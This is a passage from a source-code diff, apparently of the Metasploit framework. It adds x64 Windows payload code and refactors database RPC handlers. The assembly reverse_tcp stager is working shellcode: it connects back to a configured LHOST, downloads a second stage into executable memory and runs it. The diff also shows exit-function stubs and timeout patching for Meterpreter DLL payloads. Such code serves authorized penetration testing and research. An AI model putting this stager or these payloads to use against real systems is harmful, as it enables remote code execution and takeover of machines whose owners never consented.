get_next_mod1: ;
|
||||
pop r9 ; Pop off the current (now the previous) modules hash
|
||||
pop rdx ; Restore our position in the module list
|
||||
mov rdx, [rdx] ; Get the next module
|
||||
jmp next_mod ; Process this module
|
||||
^
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,84 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Implements arbitrary exit routines for Windows ARCH_X86_64 payloads
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::Exitfunk_x64
|
||||
|
||||
def asm_exitfunk(opts={})
|
||||
|
||||
asm = "exitfunk:\n"
|
||||
|
||||
case opts[:exitfunk]
|
||||
|
||||
when 'seh'
|
||||
asm << %Q^
|
||||
push 0 ;
|
||||
pop rcx ; set the exit function parameter
|
||||
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['seh']}
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
call rbp ; SetUnhandledExceptionFilter(0)
|
||||
push 0 ;
|
||||
ret ; Return to NULL (crash)
|
||||
^
|
||||
|
||||
# On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread
|
||||
# on WoW64 processes, instead we need to call RtlExitUserThread. This stub will
|
||||
# automatically generate the right code depending on the selected exit method.
|
||||
|
||||
when 'thread'
|
||||
asm << %Q^
|
||||
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['thread']}
|
||||
mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
||||
call rbp ; GetVersion(); (AL will = major version and AH will = minor version)
|
||||
add rsp, 40 ; cleanup the default param space on stack
|
||||
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
||||
jl short goodbye ; Then just call the exit function...
|
||||
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on
|
||||
; Windows Vista, 2008 or 7...
|
||||
jne short goodbye ;
|
||||
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
||||
goodbye: ; We now perform the actual call to the exit function
|
||||
push byte 0 ;
|
||||
pop rcx ; set the exit function parameter
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
call rbp ; call EXITFUNK( 0 );
|
||||
^
|
||||
|
||||
when 'process', nil
|
||||
asm << %Q^
|
||||
push 0 ;
|
||||
pop rcx ; set the exit function parameter
|
||||
mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['process']}
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
call rbp ; ExitProcess(0)
|
||||
^
|
||||
|
||||
when 'sleep'
|
||||
asm << %Q^
|
||||
push 300000 ; 300 seconds
|
||||
pop rcx ; set the sleep function parameter
|
||||
mov ebx, #{"0x%.8x" % Rex::Text.ror13_hash('Sleep')}
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
call rbp ; Sleep(30000)
|
||||
jmp exitfunk ; repeat
|
||||
^
|
||||
|
||||
else
|
||||
# Do nothing and continue after the end of the shellcode
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -29,17 +29,10 @@ module Payload::Windows::ReflectiveDllInject_x64
|
|||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => 'sockrdi'
|
||||
},
|
||||
'Stage' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'EXITFUNC' => [ 47, 'V' ]
|
||||
},
|
||||
'Payload' => ""
|
||||
'PayloadCompat' => { 'Convention' => 'sockrdi' },
|
||||
'Stage' => {
|
||||
'Offsets' => { 'EXITFUNC' => [ 47, 'V' ] },
|
||||
'Payload' => ""
|
||||
}
|
||||
))
|
||||
|
||||
|
@ -81,6 +74,16 @@ module Payload::Windows::ReflectiveDllInject_x64
|
|||
return
|
||||
end
|
||||
|
||||
# patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
|
||||
# patch the bootstrap code into the dll's DOS header...
|
||||
dll[ 0, bootstrap.length ] = bootstrap
|
||||
|
||||
|
|
|
@ -0,0 +1,192 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/x64/block_api'
|
||||
require 'msf/core/payload/windows/x64/exitfunk'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse_tcp payload generation for Windows ARCH_X86_64
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::ReverseTcp_x64
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi_x64
|
||||
include Msf::Payload::Windows::Exitfunk_x64
|
||||
|
||||
#
|
||||
# Register reverse_tcp specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# TODO: coming later
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
#if self.available_space.nil? || required_space > self.available_space
|
||||
# return generate_reverse_tcp(
|
||||
# port: datastore['LPORT'],
|
||||
# host: datastore['LHOST'],
|
||||
# retry_count: datastore['ReverseConnectRetries'],
|
||||
# )
|
||||
#end
|
||||
|
||||
conf = {
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
reliable: true
|
||||
}
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_tcp(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop rbp
|
||||
#{asm_reverse_tcp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# Reliability adds 10 bytes for recv error checks
|
||||
space += 10
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_reverse_tcp(opts={})
|
||||
|
||||
#retry_count = [opts[:retry_count].to_i, 1].max
|
||||
# TODO: reliable = opts[:reliable]
|
||||
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
|
||||
|
||||
asm = %Q^
|
||||
reverse_tcp:
|
||||
; setup the structures we need on the stack...
|
||||
mov r14, 'ws2_32'
|
||||
push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.
|
||||
sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData
|
||||
; structure (+8 for alignment)
|
||||
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
|
||||
mov r12, #{encoded_host_port}
|
||||
push r12 ; host, family AF_INET and port
|
||||
mov r12, rsp ; save pointer to sockaddr struct for connect call
|
||||
; perform the call to LoadLibraryA...
|
||||
mov rcx, r14 ; set the param for the library to load
|
||||
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call rbp ; LoadLibraryA( "ws2_32" )
|
||||
; perform the call to WSAStartup...
|
||||
mov rdx, r13 ; second param is a pointer to this stuct
|
||||
push 0x0101 ;
|
||||
pop rcx ; set the param for the version requested
|
||||
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call rbp ; WSAStartup( 0x0101, &WSAData );
|
||||
; perform the call to WSASocketA...
|
||||
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
|
||||
push rax ; push null for reserved parameter
|
||||
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
xor r8, r8 ; we do not specify a protocol
|
||||
inc rax ;
|
||||
mov rdx, rax ; push SOCK_STREAM
|
||||
inc rax ;
|
||||
mov rcx, rax ; push AF_INET
|
||||
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
mov rdi, rax ; save the socket for later
|
||||
; perform the call to connect...
|
||||
push 16 ; length of the sockaddr struct
|
||||
pop r8 ; pop off the third param
|
||||
mov rdx, r12 ; set second param to pointer to sockaddr struct
|
||||
mov rcx, rdi ; the socket
|
||||
mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" )
|
||||
call rbp ; connect( s, &sockaddr, 16 );
|
||||
; restore RSP so we dont have any alignment issues with the next block...
|
||||
add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations
|
||||
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length
|
||||
mov rdx, rsp ; set pointer to this buffer
|
||||
xor r9, r9 ; flags
|
||||
push 4 ;
|
||||
pop r8 ; length = sizeof( DWORD );
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call rbp ; recv( s, &dwLength, 4, 0 );
|
||||
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
|
||||
; Alloc a RWX buffer for the second stage
|
||||
pop rsi ; pop off the second stage length
|
||||
push 0x40 ;
|
||||
pop r9 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ;
|
||||
pop r8 ; MEM_COMMIT
|
||||
mov rdx, rsi ; the newly recieved second stage length.
|
||||
xor rcx, rcx ; NULL as we dont care where the allocation is.
|
||||
mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
mov rbx, rax ; rbx = our new memory address for the new stage
|
||||
mov r15, rax ; save the address so we can jump into it later
|
||||
read_more: ;
|
||||
xor r9, r9 ; flags
|
||||
mov r8, rsi ; length
|
||||
mov rdx, rbx ; the current address into our second stages RWX buffer
|
||||
mov rcx, rdi ; the saved socket
|
||||
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call rbp ; recv( s, buffer, length, 0 );
|
||||
add rbx, rax ; buffer += bytes_received
|
||||
sub rsi, rax ; length -= bytes_received
|
||||
test rsi, rsi ; test length
|
||||
jnz read_more ; continue if we have more to read
|
||||
jmp r15 ; return into the second stage
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -52,7 +52,7 @@ module Payload::Windows::StagelessMeterpreter_x64
|
|||
end
|
||||
|
||||
def generate_stageless_x64(url = nil)
|
||||
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x64.dll'))
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
|
||||
|
||||
conf = {
|
||||
:rdi_offset => offset,
|
||||
|
@ -85,6 +85,16 @@ module Payload::Windows::StagelessMeterpreter_x64
|
|||
end
|
||||
end
|
||||
|
||||
# Patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
|
||||
# if a block is given then call that with the meterpreter dll
|
||||
# so that custom patching can happen if required
|
||||
yield dll if block_given?
|
||||
|
@ -94,7 +104,7 @@ module Payload::Windows::StagelessMeterpreter_x64
|
|||
unless datastore['EXTENSIONS'].nil?
|
||||
datastore['EXTENSIONS'].split(',').each do |e|
|
||||
e = e.strip.downcase
|
||||
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x64.dll'))
|
||||
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{e}", 'x64.dll'))
|
||||
|
||||
# append the size, offset to RDI and the payload itself
|
||||
dll << [ext.length].pack('V') + ext
|
||||
|
|
|
@ -12,7 +12,7 @@ private
|
|||
end
|
||||
|
||||
def find_workspace(wspace = nil)
|
||||
if(wspace and wspace != "")
|
||||
if wspace and wspace != ""
|
||||
return self.framework.db.find_workspace(wspace) || error(500, "Invalid workspace")
|
||||
end
|
||||
self.framework.db.workspace
|
||||
|
@ -104,36 +104,58 @@ private
|
|||
return opts, opts[:workspace]
|
||||
end
|
||||
|
||||
def get_notes(xopts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
notes = []
|
||||
|
||||
host = self.framework.db.get_host(opts)
|
||||
return notes if not host
|
||||
|
||||
if opts[:proto] && opts[:port]
|
||||
services = []
|
||||
nret = host.services.find_by_proto_and_port(opts[:proto], opts[:port])
|
||||
return ret if nret == nil
|
||||
services << nret if nret.class == ::Mdm::Service
|
||||
services |= nret if nret.class == Array
|
||||
|
||||
services.each do |s|
|
||||
nret = nil
|
||||
if opts[:ntype]
|
||||
nret = s.notes.find_by_ntype(opts[:ntype])
|
||||
else
|
||||
nret = s.notes
|
||||
end
|
||||
next if nret == nil
|
||||
notes << nret if nret.class == ::Mdm::Note
|
||||
notes |= nret if nret.class == Array
|
||||
end
|
||||
else
|
||||
notes = host.notes
|
||||
end
|
||||
notes
|
||||
}
|
||||
end
|
||||
|
||||
public
|
||||
|
||||
|
||||
# Creates a credential.
|
||||
# Creates a cracked credential.
|
||||
#
|
||||
# @note Despite the fact the method name for this is called "rpc_create_cracked_credential", it
|
||||
# does not actually call the create_cracked_credential API in metasploit-credential. Instead,
|
||||
# it calls create_credential.
|
||||
# @todo This method needs to call create_cracked_credential, not create_credential.
|
||||
# @param [Hash] xopts Credential options. (See #create_credential Documentation)
|
||||
# @return [Metasploit::Credential::Core]
|
||||
# @see https://github.com/rapid7/metasploit-credential/blob/master/lib/metasploit/credential/creation.rb#L107 #create_credential Documentation.
|
||||
# @see #rpc_create_credential
|
||||
# @example Here's how you would use this from the client:
|
||||
# opts = {
|
||||
# origin_type: :service,
|
||||
# address: '192.168.1.100',
|
||||
# port: 445,
|
||||
# service_name: 'smb',
|
||||
# protocol: 'tcp',
|
||||
# module_fullname: 'auxiliary/scanner/smb/smb_login',
|
||||
# workspace_id: myworkspace_id,
|
||||
# private_data: 'password1',
|
||||
# private_type: :password,
|
||||
# username: 'Administrator'
|
||||
# username: username,
|
||||
# password: password,
|
||||
# core_id: core_id
|
||||
# }
|
||||
# rpc.call('db.create_cracked_credential', opts)
|
||||
def rpc_create_cracked_credential(xopts)
|
||||
opts = fix_cred_options(xopts)
|
||||
create_credential(opts)
|
||||
create_cracked_credential(opts)
|
||||
end
|
||||
|
||||
|
||||
|
@ -427,7 +449,7 @@ public
|
|||
wspace.vulns.includes(:service).where(conditions).offset(offset).limit(limit).each do |v|
|
||||
vuln = {}
|
||||
reflist = v.refs.map { |r| r.name }
|
||||
if(v.service)
|
||||
if v.service
|
||||
vuln[:port] = v.service.port
|
||||
vuln[:proto] = v.service.proto
|
||||
else
|
||||
|
@ -506,7 +528,7 @@ public
|
|||
wspace = find_workspace(wspace)
|
||||
ret = {}
|
||||
ret[:workspace] = []
|
||||
if(wspace)
|
||||
if wspace
|
||||
w = {}
|
||||
w[:name] = wspace.name
|
||||
w[:id] = wspace.id
|
||||
|
@ -521,7 +543,11 @@ public
|
|||
# Sets a workspace.
|
||||
#
|
||||
# @param [String] wspace Workspace name.
|
||||
# @raise [Msf::RPC::Exception] 500 Database not loaded.
|
||||
# @raise [Msf::RPC::ServerException] You might get one of these errors:
|
||||
# * 500 ActiveRecord::ConnectionNotEstablished. Try: rpc.call('console.create').
|
||||
# * 500 Database not loaded. Try: rpc.call('console.create')
|
||||
# * 500 Invalid workspace
|
||||
# * 404 Workspace not found.
|
||||
# @return [Hash] A hash indicating whether the action was successful or not. You will get:
|
||||
# * 'result' [String] A message that says either 'success' or 'failed'
|
||||
# @example Here's how you would use this from the client:
|
||||
|
@ -530,8 +556,8 @@ public
|
|||
def rpc_set_workspace(wspace)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
db_check
|
||||
workspace = self.framework.db.find_workspace(wspace)
|
||||
if(workspace)
|
||||
workspace = find_workspace(wspace)
|
||||
if workspace
|
||||
self.framework.db.workspace = workspace
|
||||
return { 'result' => "success" }
|
||||
end
|
||||
|
@ -555,7 +581,7 @@ public
|
|||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
db_check
|
||||
# Delete workspace
|
||||
workspace = self.framework.db.find_workspace(wspace)
|
||||
workspace = find_workspace(wspace)
|
||||
if workspace.nil?
|
||||
error(404, "Workspace not found: #{wspace}")
|
||||
elsif workspace.default?
|
||||
|
@ -587,7 +613,7 @@ public
|
|||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
db_check
|
||||
wspace = self.framework.db.add_workspace(wspace)
|
||||
return { 'result' => 'success' } if(wspace)
|
||||
return { 'result' => 'success' } if wspace
|
||||
{ 'result' => 'failed' }
|
||||
}
|
||||
end
|
||||
|
@ -627,7 +653,7 @@ public
|
|||
ret[:host] = []
|
||||
opts = fix_options(xopts)
|
||||
h = self.framework.db.get_host(opts)
|
||||
if(h)
|
||||
if h
|
||||
host = {}
|
||||
host[:created_at] = h.created_at.to_i
|
||||
host[:address] = h.address.to_s
|
||||
|
@ -676,7 +702,7 @@ public
|
|||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
|
||||
res = self.framework.db.report_host(opts)
|
||||
return { :result => 'success' } if(res)
|
||||
return { :result => 'success' } if res
|
||||
{ :result => 'failed' }
|
||||
}
|
||||
end
|
||||
|
@ -702,7 +728,7 @@ public
|
|||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
res = self.framework.db.report_service(opts)
|
||||
return { :result => 'success' } if(res)
|
||||
return { :result => 'success' } if res
|
||||
{ :result => 'failed' }
|
||||
}
|
||||
end
|
||||
|
@ -742,16 +768,16 @@ public
|
|||
services = []
|
||||
sret = nil
|
||||
|
||||
if(host && opts[:proto] && opts[:port])
|
||||
if host && opts[:proto] && opts[:port]
|
||||
sret = host.services.find_by_proto_and_port(opts[:proto], opts[:port])
|
||||
elsif(opts[:proto] && opts[:port])
|
||||
elsif opts[:proto] && opts[:port]
|
||||
conditions = {}
|
||||
conditions[:state] = [Msf::ServiceState::Open] if opts[:up]
|
||||
conditions[:proto] = opts[:proto] if opts[:proto]
|
||||
conditions[:port] = opts[:port] if opts[:port]
|
||||
conditions[:name] = opts[:names] if opts[:names]
|
||||
sret = wspace.services.where(conditions).order("hosts.address, port")
|
||||
else
|
||||
elsif host
|
||||
sret = host.services
|
||||
end
|
||||
return ret if sret == nil
|
||||
|
@ -776,10 +802,12 @@ public
|
|||
}
|
||||
end
|
||||
|
||||
|
||||
# Returns a note.
|
||||
#
|
||||
# @param [Hash] xopts Options.
|
||||
# @option xopts [String] :addr Host address.
|
||||
# @option xopts [String] :address Same as :addr.
|
||||
# @option xopts [String] :host Same as :address.
|
||||
# @option xopts [String] :proto Protocol.
|
||||
# @option xopts [Fixnum] :port Port.
|
||||
# @option xopts [String] :ntype Note type.
|
||||
|
@ -801,37 +829,11 @@ public
|
|||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('db.get_note', {:proto => 'tcp', :port => 80})
|
||||
def rpc_get_note(xopts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
|
||||
ret = {}
|
||||
ret[:note] = []
|
||||
|
||||
host = self.framework.db.get_host(opts)
|
||||
notes = get_notes(xopts)
|
||||
|
||||
return ret if( not host)
|
||||
notes = []
|
||||
if(opts[:proto] && opts[:port])
|
||||
services = []
|
||||
nret = host.services.find_by_proto_and_port(opts[:proto], opts[:port])
|
||||
return ret if nret == nil
|
||||
services << nret if nret.class == ::Mdm::Service
|
||||
services |= nret if nret.class == Array
|
||||
|
||||
services.each do |s|
|
||||
nret = nil
|
||||
if opts[:ntype]
|
||||
nret = s.notes.find_by_ntype(opts[:ntype])
|
||||
else
|
||||
nret = s.notes
|
||||
end
|
||||
next if nret == nil
|
||||
notes << nret if nret.class == ::Mdm::Note
|
||||
notes |= nret if nret.class == Array
|
||||
end
|
||||
else
|
||||
notes = host.notes
|
||||
end
|
||||
notes.each do |n|
|
||||
note = {}
|
||||
host = n.host
|
||||
|
@ -849,7 +851,6 @@ public
|
|||
ret[:note] << note
|
||||
end
|
||||
ret
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
|
@ -879,7 +880,7 @@ public
|
|||
ret = {}
|
||||
ret[:client] = []
|
||||
c = self.framework.db.get_client(opts)
|
||||
if(c)
|
||||
if c
|
||||
client = {}
|
||||
host = c.host
|
||||
client[:host] = host.address
|
||||
|
@ -916,7 +917,7 @@ public
|
|||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
res = self.framework.db.report_client(opts)
|
||||
return { :result => 'success' } if(res)
|
||||
return { :result => 'success' } if res
|
||||
{ :result => 'failed' }
|
||||
}
|
||||
end
|
||||
|
@ -951,12 +952,16 @@ public
|
|||
addr = opts[:host] || opts[:address]
|
||||
wspace = opts[:workspace] || self.framework.db.workspace
|
||||
host = wspace.hosts.find_by_address(addr)
|
||||
service = host.services.find_by_proto_and_port(opts[:proto],opts[:port]) if host.services.count > 0
|
||||
opts[:service] = service if service
|
||||
if host && host.services.count > 0
|
||||
service = host.services.find_by_proto_and_port(opts[:proto],opts[:port])
|
||||
if service
|
||||
opts[:service] = service
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
res = self.framework.db.report_note(opts)
|
||||
return { :result => 'success' } if(res)
|
||||
return { :result => 'success' } if res
|
||||
{ :result => 'failed' }
|
||||
}
|
||||
end
|
||||
|
@ -994,7 +999,7 @@ public
|
|||
conditions["hosts.address"] = opts[:addresses] if opts[:addresses]
|
||||
conditions[:name] = opts[:names].strip().split(",") if opts[:names]
|
||||
conditions[:ntype] = opts[:ntype] if opts[:ntype]
|
||||
conditions["services.port"] = Rex::Socket.portspec_to_portlist(opts[:ports]) if opts[:port]
|
||||
conditions["services.port"] = Rex::Socket.portspec_to_portlist(opts[:ports]) if opts[:ports]
|
||||
conditions["services.proto"] = opts[:proto] if opts[:proto]
|
||||
|
||||
ret = {}
|
||||
|
@ -1004,8 +1009,8 @@ public
|
|||
note[:time] = n.created_at.to_i
|
||||
note[:host] = ""
|
||||
note[:service] = ""
|
||||
note[:host] = n.host.address if(n.host)
|
||||
note[:service] = n.service.name || n.service.port if(n.service)
|
||||
note[:host] = n.host.address if n.host
|
||||
note[:service] = n.service.name || n.service.port if n.service
|
||||
note[:type ] = n.ntype.to_s
|
||||
note[:data] = n.data.inspect
|
||||
ret[:notes] << note
|
||||
|
@ -1059,19 +1064,20 @@ public
|
|||
def rpc_del_vuln(xopts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
opts[:workspace] = opts[:workspace].name
|
||||
hosts = []
|
||||
services = []
|
||||
vulns = []
|
||||
|
||||
if opts[:host] or opts[:address] or opts[:addresses]
|
||||
hosts = opts_to_hosts(opts)
|
||||
hosts = opts_to_hosts(xopts)
|
||||
end
|
||||
|
||||
if opts[:port] or opts[:proto]
|
||||
if opts[:host] or opts[:address] or opts[:addresses]
|
||||
services = opts_to_services(hosts,opts)
|
||||
services = opts_to_services(hosts,xopts)
|
||||
else
|
||||
services = opts_to_services([],opts)
|
||||
services = opts_to_services([],xopts)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -1150,58 +1156,8 @@ public
|
|||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('db.del_note', {:workspace=>'default', :host=>ip, :port=>443, :proto=>'tcp'})
|
||||
def rpc_del_note(xopts)
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
hosts = []
|
||||
services = []
|
||||
notes = []
|
||||
notes = get_notes(xopts)
|
||||
|
||||
if opts[:host] or opts[:address] or opts[:addresses]
|
||||
hosts = opts_to_hosts(opts)
|
||||
end
|
||||
|
||||
if opts[:port] or opts[:proto]
|
||||
if opts[:host] or opts[:address] or opts[:addresses]
|
||||
services = opts_to_services(hosts,opts)
|
||||
else
|
||||
services = opts_to_services([],opts)
|
||||
end
|
||||
end
|
||||
|
||||
if opts[:port] or opts[:proto]
|
||||
services.each do |s|
|
||||
nret = nil
|
||||
if opts[:ntype]
|
||||
nret = s.notes.find_by_ntype(opts[:ntype])
|
||||
else
|
||||
nret = s.notes
|
||||
end
|
||||
next if nret == nil
|
||||
notes << nret if nret.class == ::Mdm::Note
|
||||
notes |= nret if nret.class == Array
|
||||
end
|
||||
elsif opts[:address] or opts[:host] or opts[:addresses]
|
||||
hosts.each do |h|
|
||||
nret = nil
|
||||
if opts[:ntype]
|
||||
nret = h.notes.find_by_ntype(opts[:ntype])
|
||||
else
|
||||
nret = h.notes
|
||||
end
|
||||
next if nret == nil
|
||||
notes << nret if nret.class == ::Mdm::Note
|
||||
notes |= nret if nret.class == Array
|
||||
end
|
||||
else
|
||||
nret = nil
|
||||
if opts[:ntype]
|
||||
nret = wspace.notes.find_by_ntype(opts[:ntype])
|
||||
else
|
||||
nret = wspace.notes
|
||||
end
|
||||
notes << nret if nret.class == ::Mdm::Note
|
||||
notes |= nret if nret.class == Array
|
||||
end
|
||||
deleted = []
|
||||
notes.each do |n|
|
||||
dent = {}
|
||||
|
@ -1214,7 +1170,6 @@ public
|
|||
end
|
||||
|
||||
return { :result => 'success', :deleted => deleted }
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
|
@ -1366,7 +1321,7 @@ public
|
|||
opts = fix_options(xopts)
|
||||
opts[:workspace] = find_workspace(opts[:workspace]) if opts[:workspace]
|
||||
res = self.framework.db.report_vuln(opts)
|
||||
return { :result => 'success' } if(res)
|
||||
return { :result => 'success' } if res
|
||||
{ :result => 'failed' }
|
||||
}
|
||||
end
|
||||
|
@ -1404,12 +1359,12 @@ public
|
|||
|
||||
wspace.events.offset(offset).limit(limit).each do |e|
|
||||
event = {}
|
||||
event[:host] = e.host.address if(e.host)
|
||||
event[:host] = e.host.address if e.host
|
||||
event[:created_at] = e.created_at.to_i
|
||||
event[:updated_at] = e.updated_at.to_i
|
||||
event[:name] = e.name
|
||||
event[:critical] = e.critical if(e.critical)
|
||||
event[:username] = e.username if(e.username)
|
||||
event[:critical] = e.critical if e.critical
|
||||
event[:username] = e.username if e.username
|
||||
event[:info] = e.info
|
||||
ret[:events] << event
|
||||
end
|
||||
|
@ -1436,7 +1391,7 @@ public
|
|||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
opts, wspace = init_db_opts_workspace(xopts)
|
||||
res = self.framework.db.report_event(opts)
|
||||
{ :result => 'success' } if(res)
|
||||
{ :result => 'success' } if res
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -1471,7 +1426,7 @@ public
|
|||
end
|
||||
|
||||
res = self.framework.db.report_loot(opts)
|
||||
{ :result => 'success' } if(res)
|
||||
{ :result => 'success' } if res
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -1509,8 +1464,8 @@ public
|
|||
ret[:loots] = []
|
||||
wspace.loots.offset(offset).limit(limit).each do |l|
|
||||
loot = {}
|
||||
loot[:host] = l.host.address if(l.host)
|
||||
loot[:service] = l.service.name || l.service.port if(l.service)
|
||||
loot[:host] = l.host.address if l.host
|
||||
loot[:service] = l.service.name || l.service.port if l.service
|
||||
loot[:ltype] = l.ltype
|
||||
loot[:ctype] = l.content_type
|
||||
loot[:data] = l.data
|
||||
|
@ -1611,10 +1566,10 @@ public
|
|||
|
||||
host = self.framework.db.get_host(opts)
|
||||
|
||||
return ret if( not host)
|
||||
